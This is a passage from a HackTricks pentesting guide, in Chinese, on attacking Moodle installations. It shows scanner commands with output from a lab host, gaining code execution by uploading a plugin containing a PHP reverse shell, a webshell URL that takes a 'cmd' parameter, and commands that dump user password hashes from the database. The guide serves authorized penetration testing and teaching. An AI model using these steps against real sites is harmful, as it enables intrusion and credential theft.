> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/moodle.md).

# Moodle

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<figure><img src="/files/wQPam8C1YmPwZ2KLeMOE" alt=""><figcaption></figcaption></figure>

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## 自动扫描

### droopescan

```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)
```

### moodlescan

### moodlescan

```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.
```

### CMSMap

### CMSMap

```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```

### CVEs

我发现自动工具在发现影响 Moodle 版本的漏洞方面相当无用。您可以在 <https://snyk.io/vuln/composer:moodle%2Fmoodle> 进行检查。

## RCE

您需要具有**管理员**角色，可以在\*\*“站点管理”**选项卡内**安装插件\*\*：

![](/files/c2XtB1x5dt6oLVnuCp2o)

即使您是管理员，您可能仍然需要**激活此选项**。您可以查看 Moodle 特权升级 PoC 中的操作：<https://github.com/HoangKien1020/CVE-2020-14321>。

然后，您可以**安装以下插件**，其中包含经典的 pentest-monkey php r**ev shell**（在上传之前，您需要解压缩它，更改 revshell 的 IP 和端口，然后再次压缩）：

{% file src="/files/szML2ZjE5KT2eYtENwxe" %}

或者您可以使用来自 <https://github.com/HoangKien1020/Moodle_RCE> 的插件，使用“cmd”参数获取常规 PHP shell。

要访问启动恶意插件，您需要访问：

```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```

## POST

### 查找数据库凭据

```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```

### 从数据库中转储凭据

```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```

<figure><img src="/files/wQPam8C1YmPwZ2KLeMOE" alt=""><figcaption></figcaption></figure>

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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>